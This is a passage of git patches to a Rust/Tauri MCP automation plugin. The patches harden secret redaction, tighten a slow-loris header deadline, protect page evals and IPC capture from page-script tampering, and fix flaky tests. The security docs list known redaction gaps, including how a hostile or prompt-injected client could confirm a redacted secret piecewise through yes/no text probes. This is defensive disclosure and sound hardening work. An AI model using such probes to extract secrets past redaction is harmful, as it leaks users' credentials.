=> None, + } +} + +fn redact_json_string(text: &str, depth: usize) -> Option { + let trimmed = text.trim_start(); + if depth < MAX_NESTED_JSON_DEPTH + && (trimmed.starts_with('{') || trimmed.starts_with('[')) + && let Ok(inner) = serde_json::from_str::(text) + { + let redacted = redact_json_value(&inner, depth + 1)?; + return serde_json::to_string(&redacted) + .ok() + .map(serde_json::Value::String); + } + match redact_text_key_values(text) { + std::borrow::Cow::Owned(redacted) => Some(serde_json::Value::String(redacted)), + std::borrow::Cow::Borrowed(_) => None, } } @@ -327,6 +423,67 @@ mod tests { assert!(!output.contains("sk-live-xxx")); } + /// R5B-REDACT1: secrets in URL query strings were not matched (tokens ride in IPC/network + /// URLs), and key-based redaction only applied when the WHOLE output parsed as JSON. + #[test] + fn redacts_secret_query_parameters() { + let r = Redactor::default(); + let out = r.redact( + "GET https://api.example.com/v1/items?user=7&access_token=abc123def&page=2 https://x.test/cb#id_token=eyJraWQ&state=s https://h.test/?API_KEY=k9k9k9 https://blob.test/f?sv=2024&sig=Zx%2Fq&se=1", + ); + for secret in ["abc123def", "eyJraWQ", "k9k9k9", "Zx%2Fq"] { + assert!(!out.contains(secret), "{secret} survived: {out}"); + } + for kept in ["user=7", "page=2", "state=s", "sv=2024", "se=1"] { + assert!(out.contains(kept), "{kept} was redacted: {out}"); + } + // Not a secret parameter: only whole parameter names match. + let clean = "https://x.test/?keyboard=us&monkey=1&tokens_used=5"; + assert_eq!(r.redact(clean), clean); + // Inside a JSON string, the URL is redacted and the JSON stays valid. + let json = r#"{"url":"https://x.test/a?token=zzz111&b=1"}"#; + let v: serde_json::Value = serde_json::from_str(&r.redact(json)).unwrap(); + assert_eq!(v["url"], "https://x.test/a?token=[REDACTED]&b=1"); + } + + #[test] + fn redacts_sensitive_keys_in_json_embedded_in_text() { + let r = Redactor::default(); + let out = + r.redact(r#"invoke login -> {"ok":true,"session_token":"s3cr3t-value","n":1} done"#); + assert!(!out.contains("s3cr3t-value"), "{out}"); + assert!(out.contains(r#""ok":true"#), "{out}"); + // A truncated JSON fragment (log fields are cut at 4 KB) still has its keys redacted. + let out = r.redact(r#"body: {"password": "hunter2", "data": "xxxxxxxx…(truncated"#); + assert!(!out.contains("hunter2"), "{out}"); + // …including when the cut falls inside the secret itself. + let out = r.redact(r#"body: {"id": 1, "secret": "abcdefgh"#); + assert!(!out.contains("abcdefgh"), "{out}"); + assert!(out.contains(r#""id": 1"#), "{out}"); + } + + #[test] + fn redacts_sensitive_keys_in_json_nested_inside_json_strings() { + let r = Redactor::default(); + // IPC/network logs carry bodies as JSON-encoded strings inside the JSON result. + let input = serde_json::json!({ + "command": "get_settings", + "response": "{\"llm\":{\"api_key\":\"sk-live-abc\",\"model\":\"m1\"}}", + "truncated_body": "{\"refresh_token\":\"rt-999\",\"x\":\"…" + }) + .to_string(); + let out = r.redact(&input); + let v: serde_json::Value = serde_json::from_str(&out).expect("still valid JSON"); + let response = v["response"].as_str().unwrap(); + assert!(!response.contains("sk-live-abc"), "{out}"); + assert!(response.contains("m1"), "{out}"); + assert!( + !v["truncated_body"].as_str().unwrap().contains("rt-999"), + "{out}" + ); + assert_eq!(v["command"], "get_settings"); + } + #[test] fn redacts_github_tokens() { let r = Redactor::default(); diff --git a/docs/src/security.md b/docs/src/security.md index 5aac6b97..f919d735 100644 --- a/docs/src/security.md +++ b/docs/src/security.md @@ -241,7 +241,18 @@ VictauriBuilder::new() ``` Built-in patterns (when redaction is enabled): -- API key values in JSON (`"api_key": "..."` becomes `"api_key": "[REDACTED]"`) +- Values of sensitive JSON keys (`"api_key": "..."` becomes `"api_key": "[REDACTED]"`; any key + containing `token`, `secret`, `password`, `api_key`, `authorization`, `cookie`, … — booleans + such as `has_api_key: true` are kept). This applies when the whole output is JSON, to JSON + carried **inside** JSON string values (IPC/network request and response bodies are captured as + JSON-encoded strings) up to 4 levels deep, and to `"key": value` pairs found in plain text or + in a truncated JSON fragment (log fields are cut at 4 KB) +- Credential parameters in URLs: the value of `access_token`, `refresh_token`, `id_token`, + `auth_token`, `token`, `api_key`/`apikey`, `key`, `client_secret`, `secret`, `password`, + `pwd`, `auth`, `sig`/`signature` and the AWS/GCS signing parameters after `?`, `&` or `#` + (`?access_token=abc&page=2` becomes `?access_token=[REDACTED]&page=2`). Only whole parameter + names match, so `?keyboard=` or `&tokens_used=` are left alone — but an innocuous parameter + literally named `key` or `auth` is redacted too - Bearer tokens in strings - Email addresses - Common secret key formats @@ -255,6 +266,20 @@ Redaction is applied as a post-processing step to all tool output, regardless of > as a guard against *accidental* disclosure in shared transcripts — not as a control that contains > a hostile or prompt-injected client. The real boundary is auth + the privacy profile + not > pointing the tools at secrets you don't want an authorized local client to read. +> +> Known gaps, beyond deliberate splitting: +> - **Only output is redacted, not what a tool can test.** Text probes answer yes/no about page +> content — `find_elements` text search (allowed even under `Observe`), `wait_for` text / +> `text_gone` (`Test`), and `assert_semantic` / `eval_js` (`FullControl`) — so a client can +> confirm a redacted value piecewise (does the page contain `sk-a`? `sk-ab`? …) without it ever +> appearing in an output. +> - Key-based redaction recognises keys by name. A secret under an innocuous key +> (`{"value": "…"}`), in a non-JSON format (YAML, `key=value` config text outside a URL, HTTP +> headers other than `Authorization: Bearer`), or as a JSON object/array value found in plain +> text (only string and number values are matched there) passes through unless a value pattern +> catches it. +> - A URL parameter is recognised only by the names listed above, and only after `?`, `&` or +> `#` (a secret in a URL *path* segment is not). ## Origin Guard From c0d4042d8243b6ad3b4d2a66273db089bda5ccdc Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 03:59:02 +1000 Subject: [PATCH 158/167] fix(tools): make the load-sensitive dispatch / probe / file-read tests deterministic (R5B-FLAKY) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Root causes, measured under 2x CPU oversubscription on 16 cores: - bridge `a_job_outliving_its_caller…` (and two siblings) posted the job to a freshly spawned stand-in "main thread" and gave the caller 50 ms. Under load the thread is scheduled after the deadline, the caller correctly abandons a job that never started, and the "job outlived its caller" precondition fails: 30/30 failures in a 30-run loop. A new `post_started` stand-in returns only once the job has signalled that it started, the first job now runs until explicitly released, and it is released only once the second caller holds the dispatch lock (provably waiting on it): no sleep decides any outcome. 0/30 after. - `app_state_probes_are_bounded_and_panic_isolated` and the two `read_app_file` tests ran EVERY probe/read under a 1 s `cfg(test)` deadline. A panicking probe needs a new blocking-pool thread (the stuck probe holds the first) plus the panic hook and unwind: ~0.4 s at 2x oversubscription (0.7 ms idle), more in a full parallel suite, so it was reported as "did not finish within 1000 ms" (reads: 2/30 failures). The deadlines are now per-handler fields with the unchanged production values (10 s / 15 s — no production deadline widened); only the tests that exercise the deadline itself shorten them. 0/30 after. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/bridge.rs | 49 ++++++++++++++++--- crates/victauri-plugin/src/mcp/mod.rs | 33 +++++++------ .../src/mcp/robustness_tests.rs | 15 ++++-- 3 files changed, 74 insertions(+), 23 deletions(-) diff --git a/crates/victauri-plugin/src/bridge.rs b/crates/victauri-plugin/src/bridge.rs index 6d715a71..d0b96185 100644 --- a/crates/victauri-plugin/src/bridge.rs +++ b/crates/victauri-plugin/src/bridge.rs @@ -1186,6 +1186,22 @@ mod tests { } } + /// A stand-in main thread that is guaranteed to have STARTED the posted job before `post` + /// returns (and so before the caller's deadline starts counting): it waits for the job to + /// signal `started`. A plain spawned thread can be scheduled late on a loaded machine, and + /// the caller then (correctly) abandons a job that never started — which turned tests + /// about a job that outlives its caller into flakes. + fn post_started( + started: std::sync::mpsc::Receiver<()>, + ) -> impl FnOnce(Box) -> Result<(), String> { + move |job| { + std::thread::spawn(job); + started + .recv_timeout(Duration::from_secs(60)) + .map_err(|_| "the stand-in main thread never started the job".to_string()) + } + } + #[test] fn a_job_still_queued_at_the_deadline_never_runs() { let ran = Arc::new(AtomicUsize::new(0)); @@ -1206,12 +1222,14 @@ mod tests { fn a_job_running_at_the_deadline_reports_its_real_outcome() { // It started before the caller gave up, so its effects happen: reporting "timed out" // would tell the caller a window change / eval did not happen when it did. + let (started_tx, started_rx) = std::sync::mpsc::channel(); let out = dispatch_and_wait( "eval_webview", Duration::from_millis(50), Duration::from_secs(5), - post_after(Duration::ZERO), - || { + post_started(started_rx), + move || { + let _ = started_tx.send(()); std::thread::sleep(Duration::from_millis(300)); 7 }, @@ -1251,13 +1269,18 @@ mod tests { let gate = leaked_gate(); let first_end = Arc::new(std::sync::Mutex::new(None::)); let fe = Arc::clone(&first_end); + // The first job is known to have started before its caller's deadline, and it runs + // until released — no sleep decides either (both used to race a loaded scheduler). + let (started_tx, started_rx) = std::sync::mpsc::channel(); + let (release_tx, release_rx) = std::sync::mpsc::channel::<()>(); let first = serialized_round_trip( gate, "first", Duration::from_millis(50), - post_after(Duration::ZERO), + post_started(started_rx), move || { - std::thread::sleep(Duration::from_millis(400)); + let _ = started_tx.send(()); + let _ = release_rx.recv(); *fe.lock().unwrap() = Some(Instant::now()); }, ); @@ -1265,6 +1288,15 @@ mod tests { first.unwrap_err().contains("outcome is unknown"), "precondition: the first caller gave up while its job was running" ); + // Release the first job only once the second caller holds the dispatch lock — it is + // then provably waiting on the still-running job, not merely about to start. + let releaser = std::thread::spawn(move || { + while gate.lock.try_lock().is_ok() { + std::thread::sleep(Duration::from_millis(1)); + } + std::thread::sleep(Duration::from_millis(20)); + release_tx.send(()).unwrap(); + }); let second_start = serialized_round_trip( gate, "second", @@ -1273,6 +1305,7 @@ mod tests { Instant::now, ) .expect("the second round trip runs once the first job is done"); + releaser.join().unwrap(); let first_end = first_end .lock() .unwrap() @@ -1290,12 +1323,16 @@ mod tests { fn waiting_for_an_abandoned_job_is_bounded_by_the_callers_deadline() { use super::serialized_round_trip; let gate = leaked_gate(); + let (started_tx, started_rx) = std::sync::mpsc::channel(); let first = serialized_round_trip( gate, "first", Duration::from_millis(30), - post_after(Duration::ZERO), - || std::thread::sleep(Duration::from_millis(1500)), + post_started(started_rx), + move || { + let _ = started_tx.send(()); + std::thread::sleep(Duration::from_millis(1500)); + }, ); assert!(first.unwrap_err().contains("outcome is unknown")); let ran = Arc::new(AtomicUsize::new(0)); diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index d2e581ea..279e4120 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -273,12 +273,14 @@ impl EvalFailure { /// How [`unwrap_eval_envelope`] reports code that did not parse. const PARSE_ERROR_PREFIX: &str = "JavaScript parse error:"; -/// How long `app_state` waits for an app-registered probe closure (shortened under test). -const PROBE_TIMEOUT: std::time::Duration = if cfg!(test) { - std::time::Duration::from_secs(1) -} else { - std::time::Duration::from_secs(10) -}; +/// How long `app_state` waits for an app-registered probe closure. +/// +/// This used to be 1 s under `cfg(test)` for EVERY probe call, so a test of a panicking or a +/// normal probe raced a deadline shorter than the scheduling tail of a loaded machine (a fresh +/// blocking-pool thread plus the panic hook and unwind measured ~0.4 s at 2x CPU +/// oversubscription, more in a full parallel suite) and flaked as "did not finish". Tests that +/// exercise the deadline itself shorten [`VictauriMcpHandler::probe_timeout`] on their handler. +const PROBE_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(10); /// App-registered probes allowed to run at once. A probe that hangs keeps its blocking thread /// past [`PROBE_TIMEOUT`]; the cap stops repeated calls to it from leaking a thread each. @@ -288,12 +290,9 @@ pub(crate) const MAX_CONCURRENT_PROBES: usize = 4; /// its thread past [`READ_APP_FILE_TIMEOUT`]). pub(crate) const MAX_CONCURRENT_FILE_READS: usize = 4; -/// How long `read_app_file` waits for its (bounded, at most 10 MB) read (shortened under test). -const READ_APP_FILE_TIMEOUT: std::time::Duration = if cfg!(test) { - std::time::Duration::from_secs(1) -} else { - std::time::Duration::from_secs(15) -}; +/// How long `read_app_file` waits for its (bounded, at most 10 MB) read. Tests that exercise +/// the deadline shorten [`VictauriMcpHandler::file_read_timeout`] (see [`PROBE_TIMEOUT`]). +const READ_APP_FILE_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(15); /// Distinct command names `CommandTimings` tracks (its private `MAX_TIMED_COMMANDS`, mirrored /// here — a test pins the two together). Once that many are tracked, new names are dropped and @@ -424,6 +423,10 @@ pub struct VictauriMcpHandler { probe_slots: Arc, /// Slots for `read_app_file` reads ([`MAX_CONCURRENT_FILE_READS`]); held by the read's thread. file_slots: Arc, + /// Deadline for one app probe ([`PROBE_TIMEOUT`]; tests of the deadline shorten it). + probe_timeout: std::time::Duration, + /// Deadline for one `read_app_file` read ([`READ_APP_FILE_TIMEOUT`]; likewise). + file_read_timeout: std::time::Duration, } #[tool_router] @@ -1120,7 +1123,7 @@ impl VictauriMcpHandler { match bounded::run_blocking_bounded( None, &format!("probe '{name}'"), - PROBE_TIMEOUT, + self.probe_timeout, move || { let _slot = slot; Ok(probe()) @@ -4304,6 +4307,8 @@ impl VictauriMcpHandler { timed_out_labels: Arc::new(Mutex::new(HashSet::new())), probe_slots: Arc::new(tokio::sync::Semaphore::new(MAX_CONCURRENT_PROBES)), file_slots: Arc::new(tokio::sync::Semaphore::new(MAX_CONCURRENT_FILE_READS)), + probe_timeout: PROBE_TIMEOUT, + file_read_timeout: READ_APP_FILE_TIMEOUT, } } @@ -4533,7 +4538,7 @@ impl VictauriMcpHandler { blocked on a pipe or device keeps running past its timeout). Retry shortly." )); }; - bounded::run_blocking_bounded(None, "file read", READ_APP_FILE_TIMEOUT, move || { + bounded::run_blocking_bounded(None, "file read", self.file_read_timeout, move || { let _slot = slot; read_regular_file(&path, max_bytes) }) diff --git a/crates/victauri-plugin/src/mcp/robustness_tests.rs b/crates/victauri-plugin/src/mcp/robustness_tests.rs index 5c95e51f..237b7bd0 100644 --- a/crates/victauri-plugin/src/mcp/robustness_tests.rs +++ b/crates/victauri-plugin/src/mcp/robustness_tests.rs @@ -540,8 +540,13 @@ async fn app_state_probes_are_bounded_and_panic_isolated() { state .probes .register("fine", Arc::new(|| serde_json::json!({"depth": 3}))); - let h = handler_with(TestBridge::default(), state); + let mut h = handler_with(TestBridge::default(), state); + // Only the deadline check runs under a short deadline. The panicking and the normal probe + // keep the production one: a 1 s deadline for them was shorter than a loaded machine's + // scheduling tail (new blocking thread + panic hook + unwind), and they flaked as "did not + // finish" — which is not what they test. + h.probe_timeout = Duration::from_secs(1); let started = Instant::now(); let r = call(&h, "app_state", serde_json::json!({"probe": "stuck"})).await; assert_eq!(r.is_error, Some(true)); @@ -551,6 +556,7 @@ async fn app_state_probes_are_bounded_and_panic_isolated() { "{:?}", started.elapsed() ); + h.probe_timeout = super::PROBE_TIMEOUT; let r = call(&h, "app_state", serde_json::json!({"probe": "broken"})).await; assert_eq!(r.is_error, Some(true)); @@ -573,7 +579,9 @@ async fn hung_probes_cannot_pile_up_blocking_threads() { serde_json::json!({"late": true}) }), ); - let h = Arc::new(handler_with(TestBridge::default(), state)); + let mut h = handler_with(TestBridge::default(), state); + h.probe_timeout = Duration::from_secs(1); + let h = Arc::new(h); let calls: Vec<_> = (0..super::MAX_CONCURRENT_PROBES + 2) .map(|_| { let h = Arc::clone(&h); @@ -644,7 +652,8 @@ async fn a_blocking_file_read_returns_at_its_deadline() { eprintln!("SKIP: mkfifo unavailable"); return; } - let h = handler(TestBridge::default()); + let mut h = handler(TestBridge::default()); + h.file_read_timeout = Duration::from_secs(1); let started = Instant::now(); let r = tokio::time::timeout( Duration::from_secs(20), From 20ca1436f2e3b679aad66396da74b4c24d2b2cf6 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 04:11:53 +1000 Subject: [PATCH 159/167] fix(plugin): 10 s request-head deadline (was hyper's 30 s) (R5B-SLOWLORIS) After R5-NET1 a silent connection no longer holds a request slot, but a local process could still fill all 256 slots with started-but-stalled request heads (one byte, then nothing), each held until the 30 s header deadline. Every client of this server sends a complete head in one write, so ServeLimits::DEFAULT now uses 10 s: still generous for a machine stalled by a debugger or load, and keeping every slot busy now takes three times the reconnect rate. The deadline is effectively measured from the first byte (hyper starts the timer once serve_hardened has admitted the connection on its first byte); it is also the idle keep-alive timeout, which HTTP clients handle by reconnecting. Slow-loris from a loopback process that keeps reconnecting stays bounded, not prevented. Existing tests now use the default deadline instead of a hard-coded 30 s; a stale "64 request slots" comment is corrected. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/mcp/hardening.rs | 47 ++++++++++++++++++--- 1 file changed, 40 insertions(+), 7 deletions(-) diff --git a/crates/victauri-plugin/src/mcp/hardening.rs b/crates/victauri-plugin/src/mcp/hardening.rs index 702a66ac..042d0305 100644 --- a/crates/victauri-plugin/src/mcp/hardening.rs +++ b/crates/victauri-plugin/src/mcp/hardening.rs @@ -27,6 +27,12 @@ pub struct ServeLimits { /// Connections served at once; further clients wait in the listen backlog. pub max_connections: usize, /// A connection that has not delivered a complete request head within this is closed. + /// + /// Hyper starts this timer when it begins reading a head. For a connection's first request + /// that is once [`serve_hardened`] has seen its first byte and given it a request slot, so + /// the deadline is measured from the first byte (bytes that arrive while it waits for a slot + /// sit in the socket buffer and are parsed at once). For a kept-alive connection it runs + /// from the end of the previous response, so it is also the idle keep-alive timeout. pub header_read_timeout: Duration, /// Accepted connections that have not yet sent a byte (or wait for a request slot). pub max_pending: usize, @@ -35,9 +41,19 @@ pub struct ServeLimits { } impl ServeLimits { + /// Header deadline 10 s (hyper's default is 30 s). Every client of this server — the + /// `victauri` CLI and bridge, `victauri-test`, MCP clients over HTTP — sends a complete + /// request head in one write, so any real head arrives in well under a millisecond; 10 s + /// still tolerates a machine stalled by a debugger or heavy load. What it bounds is a local + /// process that opens connections, sends one byte and stalls: each such connection holds a + /// request slot until the deadline, so keeping all 256 slots busy now takes 256 fresh + /// connections every 10 s — three times the reconnect rate 30 s needed. (It cannot be made a hard + /// guarantee: a loopback attacker who keeps reconnecting can always keep slots busy.) The + /// same timer closes idle keep-alive connections after 10 s; HTTP clients reopen them + /// transparently. pub const DEFAULT: Self = Self { max_connections: 256, - header_read_timeout: Duration::from_secs(30), + header_read_timeout: Duration::from_secs(10), max_pending: 1024, first_byte_timeout: Duration::from_secs(3), }; @@ -165,7 +181,7 @@ async fn admit( /// before any handler (or the `/mcp` transport) sees it. /// /// A client that sends headers and then trickles its body used to hold a connection — and one -/// of the server's 64 request slots — for as long as it liked. Every route takes a small JSON +/// of the server's request slots — for as long as it liked. Every route takes a small JSON /// body, so buffering it up front costs nothing. pub async fn read_body_with_deadline(request: Request, next: Next) -> Response { buffer_body(request, next, BODY_READ_TIMEOUT).await @@ -323,6 +339,23 @@ mod tests { read_to_close(&mut silent, Duration::from_secs(5)).await; } + /// R5B-SLOWLORIS: after R5-NET1 a connection holds a request slot only once it has sent a + /// byte, but a local process could still fill all 256 slots with started-but-stalled request + /// heads and hold each for the whole header deadline. Real clients send a complete head in a + /// single write, so the deadline must be short. + #[test] + fn the_default_header_deadline_is_short() { + assert!( + ServeLimits::DEFAULT.header_read_timeout <= Duration::from_secs(10), + "{:?}", + ServeLimits::DEFAULT.header_read_timeout + ); + assert!( + ServeLimits::DEFAULT.header_read_timeout > ServeLimits::DEFAULT.first_byte_timeout, + "a started head gets longer than a silent connection" + ); + } + /// Audit N4: connections are capped; a waiting client is served once a slot frees up. #[tokio::test] async fn connections_beyond_the_cap_wait_for_a_free_slot() { @@ -379,12 +412,12 @@ mod tests { } /// R5-NET1: a connection that sends nothing is closed at the (short) first-byte deadline, - /// not the 30 s header deadline. + /// not the (longer) header deadline. #[tokio::test] async fn a_silent_connection_is_closed_at_the_first_byte_deadline() { let addr = spawn_server(ServeLimits { first_byte_timeout: Duration::from_millis(300), - ..limits(8, Duration::from_secs(30)) + ..limits(8, ServeLimits::DEFAULT.header_read_timeout) }) .await; let started = Instant::now(); @@ -408,7 +441,7 @@ mod tests { let server = tokio::spawn(serve_hardened( listener, app, - limits(2, Duration::from_secs(30)), + limits(2, ServeLimits::DEFAULT.header_read_timeout), async move { let _ = stop_rx.await; }, @@ -432,7 +465,7 @@ mod tests { let addr = spawn_server(ServeLimits { max_pending: 2, first_byte_timeout: Duration::from_millis(400), - ..limits(8, Duration::from_secs(30)) + ..limits(8, ServeLimits::DEFAULT.header_read_timeout) }) .await; let _silent_a = tokio::net::TcpStream::connect(addr).await.unwrap(); @@ -562,7 +595,7 @@ mod tests { tokio::spawn(serve_hardened( listener, test_app(Arc::new(RateLimiterState::new(100))), - limits(8, Duration::from_secs(30)), + limits(8, ServeLimits::DEFAULT.header_read_timeout), std::future::pending::<()>(), )); let mut conn = tokio::net::TcpStream::connect(addr).await.unwrap(); From 8c9eb0c56bc1557bc1e34edfd42b93a5ff2bb1f6 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 04:12:34 +1000 Subject: [PATCH 160/167] fix(bridge): IPC body capture and page evals use the init-time JSON (R5B-PRISTINE1) The fetch interceptor parsed captured IPC request/response bodies (and a route fulfill body) with the page's JSON.parse / JSON.stringify, so page script replacing them forged the args/results that logs ipc, replay and the command catalog report. They now use PRISTINE_PARSE / PRISTINE_STRINGIFY. The in-app victauri_eval_js command (and victauri_dom_snapshot, same pattern) built its result and callback args with the page's JSON and a plain object: a throwing Object.prototype.toJSON made every page-originated eval hang until its timeout, and a replaced JSON.stringify forged the result. The script is now js_bridge::page_eval_script: the body comes from a new bridge method _pageEvalBody (init-time stringify, blind to universal-prototype toJSON, never throws: an unserializable value is reported as {"__error": ...}) and the callback args are a null-prototype object, mirroring R5-JS2 for agent evals. Result format is unchanged except that an `undefined` result now arrives as `null` instead of never arriving. Also fixes a clippy doc_markdown nit in the R5B-XHR1 test comment. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/js_bridge.rs | 64 ++++++++- crates/victauri-plugin/src/tools.rs | 40 +----- .../victauri-plugin/tests/bridge_r5b_tests.rs | 128 +++++++++++++++++- 3 files changed, 190 insertions(+), 42 deletions(-) diff --git a/crates/victauri-plugin/src/js_bridge.rs b/crates/victauri-plugin/src/js_bridge.rs index 29c5c641..a2dba4c1 100644 --- a/crates/victauri-plugin/src/js_bridge.rs +++ b/crates/victauri-plugin/src/js_bridge.rs @@ -197,6 +197,47 @@ pub fn eval_check_script(id: &str, nonce: Option<&str>) -> String { ) } +/// The script the in-app `victauri_eval_js` command (a page-originated eval) injects: runs +/// `code` and delivers its result to `victauri_eval_callback` under `id_json` (a JSON string +/// literal). `pub` only so the jsdom suite can drive the real script. +#[doc(hidden)] +#[must_use] +pub fn page_eval_script(id_json: &str, code: &str) -> String { + // The result body is built by the bridge's `_pageEvalBody` (the `JSON.stringify` captured at + // init, blind to a `toJSON` planted on the universal prototypes, and never throwing), and the + // callback args have no prototype, so Tauri's own serialization of them cannot hit a planted + // `toJSON` either (R5B-PRISTINE1, mirroring R5-JS2 for agent evals). Without the bridge it + // falls back to the page's JSON, as before. Result format is unchanged: the value's JSON + // (`null` for `undefined`), or `{"__error": message}`. + format!( + r" + (async () => {{ + const __vb = window.__VICTAURI__; + const __body = (__vb && __vb._pageEvalBody) + ? __vb._pageEvalBody + : (v, isErr) => isErr + ? JSON.stringify({{ __error: v && v.message }}) + : (JSON.stringify(v) ?? 'null'); + const __send = (body) => {{ + const a = Object.create(null); + a.id = {id_json}; + a.result = body; + return window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback', a); + }}; + let __out; + try {{ + const __result = await (async () => {{ {code} + }})(); + __out = __body(__result, false); + }} catch (e) {{ + __out = __body(e, true); + }} + await __send(__out); + }})(); + " + ) +} + /// The body of the init script (after capacity variable declarations). /// Uses CAP_* variables for all log limits. const INIT_SCRIPT_BODY: &str = r#" @@ -870,6 +911,21 @@ const INIT_SCRIPT_BODY: &str = r#" evalMarkDone(id); return evalCallback(id, '{"__victauri_not_run":' + jsonStringLiteral('the code did not begin executing — this almost always means a syntax/parse error in the submitted code') + '}'); }, + // The result body of a page-originated eval (`victauri_eval_js`, see page_eval_script): + // the value's JSON (`null` when JSON has no representation) or `{"__error": message}`, + // serialized with the stringify captured at init. Never throws: a value that cannot be + // serialized (circular, BigInt, a throwing own `toJSON`) is reported as an error, not + // left to time out (R5B-PRISTINE1). + _pageEvalBody: function(value, isError) { + 'use strict'; + if (isError) return '{"__error":' + jsonStringLiteral(errorText(value)) + '}'; + var json; + try { json = PRISTINE_STRINGIFY(value); } + catch (e) { + return '{"__error":' + jsonStringLiteral('the result could not be serialized: ' + errorText(e)) + '}'; + } + return json === undefined ? 'null' : json; + }, // Deliver an eval's outcome exactly once (a later settle for the same id is ignored). _evalSettle: function(id, payload) { 'use strict'; @@ -2905,7 +2961,7 @@ const INIT_SCRIPT_BODY: &str = r#" if (reqBody.length > MAX_IPC_BODY) { entry.request_args = bodyOmitted(reqBody.length, null); } else { - entry.request_args = JSON.parse(reqBody); + entry.request_args = PRISTINE_PARSE(reqBody); } } } catch(e) {} @@ -2943,7 +2999,7 @@ const INIT_SCRIPT_BODY: &str = r#" // The Response constructor throws if a null-body status carries a body. var nullBody = status === 204 || status === 205 || status === 304; var bodyStr = nullBody ? null - : ((typeof route.body === 'string') ? route.body : JSON.stringify(route.body)); + : ((typeof route.body === 'string') ? route.body : PRISTINE_STRINGIFY(route.body)); var hdrs = { 'content-type': route.content_type }; for (var k in route.headers) { if (Object.prototype.hasOwnProperty.call(route.headers, k)) hdrs[k] = route.headers[k]; } var resp = new Response(bodyStr, { status: status, statusText: route.status_text, headers: hdrs }); @@ -2954,7 +3010,7 @@ const INIT_SCRIPT_BODY: &str = r#" if (isIpc) { if (bodyStr === null) entry.response_body = null; else if (bodyStr.length > MAX_IPC_BODY) entry.response_body = bodyOmitted(bodyStr.length, null); - else { try { entry.response_body = JSON.parse(bodyStr); } catch (e) { entry.response_body = bodyStr; } } + else { try { entry.response_body = PRISTINE_PARSE(bodyStr); } catch (e) { entry.response_body = bodyStr; } } flushIpcWaiters(); } return resp; @@ -3015,7 +3071,7 @@ const INIT_SCRIPT_BODY: &str = r#" entry.response_body = bodyOmitted(text.length, null); return; } - try { entry.response_body = JSON.parse(text); } catch(e) { entry.response_body = text; } + try { entry.response_body = PRISTINE_PARSE(text); } catch(e) { entry.response_body = text; } }).catch(function() {}).then(function() { flushIpcWaiters(); }); diff --git a/crates/victauri-plugin/src/tools.rs b/crates/victauri-plugin/src/tools.rs index 5f2e32f9..62d44358 100644 --- a/crates/victauri-plugin/src/tools.rs +++ b/crates/victauri-plugin/src/tools.rs @@ -100,25 +100,7 @@ pub async fn victauri_eval_js( let slot = reserve_page_eval(&state, webview.label(), tx).await?; let id = serde_json::to_string(slot.id()).map_err(|e| e.to_string())?; - let inject = format!( - r" - (async () => {{ - try {{ - const __result = await (async () => {{ {code} - }})(); - await window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback', {{ - id: {id}, - result: JSON.stringify(__result) - }}); - }} catch (e) {{ - await window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback', {{ - id: {id}, - result: JSON.stringify({{ __error: e.message }}) - }}); - }} - }})(); - " - ); + let inject = crate::js_bridge::page_eval_script(&id, &code); // Through the bridge, i.e. on the main thread and serialized with every other // round trip — not a direct `webview.eval` from this tokio worker thread. @@ -200,24 +182,8 @@ pub async fn victauri_dom_snapshot( let slot = reserve_page_eval(&state, webview.label(), tx).await?; let id = serde_json::to_string(slot.id()).map_err(|e| e.to_string())?; - let inject = format!( - r" - (async () => {{ - try {{ - const snapshot = window.__VICTAURI__?.snapshot(); - await window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback', {{ - id: {id}, - result: JSON.stringify(snapshot) - }}); - }} catch (e) {{ - await window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback', {{ - id: {id}, - result: JSON.stringify({{ __error: e.message }}) - }}); - }} - }})(); - " - ); + // Same delivery as a page eval: serialized by the bridge with its init-time JSON. + let inject = crate::js_bridge::page_eval_script(&id, "return window.__VICTAURI__?.snapshot()"); // Through the bridge, i.e. on the main thread and serialized with every other // round trip — not a direct `webview.eval` from this tokio worker thread. diff --git a/crates/victauri-plugin/tests/bridge_r5b_tests.rs b/crates/victauri-plugin/tests/bridge_r5b_tests.rs index 59e91996..cc7e8dda 100644 --- a/crates/victauri-plugin/tests/bridge_r5b_tests.rs +++ b/crates/victauri-plugin/tests/bridge_r5b_tests.rs @@ -370,7 +370,7 @@ fn r5b_routeurl1_rules_match_relative_and_absolute_forms() { /// `send()` attached five fresh listeners to the XHR every time, each closing over THAT send's /// log entry, so a reused XHR (open/send again on the same object) piled up listeners and every /// later request rewrote the earlier entries' status and duration. A re-`open()` while a -/// request was in flight left its entry 'pending' forever (wedging network_idle), and a +/// request was in flight left its entry 'pending' forever (wedging `network_idle`), and a /// delayed send then fired into the next request. A blocked XHR never fired `loadend`. #[test] fn r5b_xhr1_reused_xhr_keeps_one_entry_per_request() { @@ -540,3 +540,129 @@ fn r5b_dataurl1_logged_urls_are_capped() { assert_eq!(r["blocked"], 1000, "matching still sees the full URL: {r}"); assert!(r["matches_url_len"].as_u64().unwrap() <= 2200, "{r}"); } + +// ── R5B-PRISTINE1: captured IPC bodies and page evals use the init-time JSON ── + +/// The fetch interceptor parsed captured IPC request/response bodies with the PAGE's +/// `JSON.parse`, so page script replacing it rewrote what `logs ipc` / replay / the catalog +/// report for every later call. +#[test] 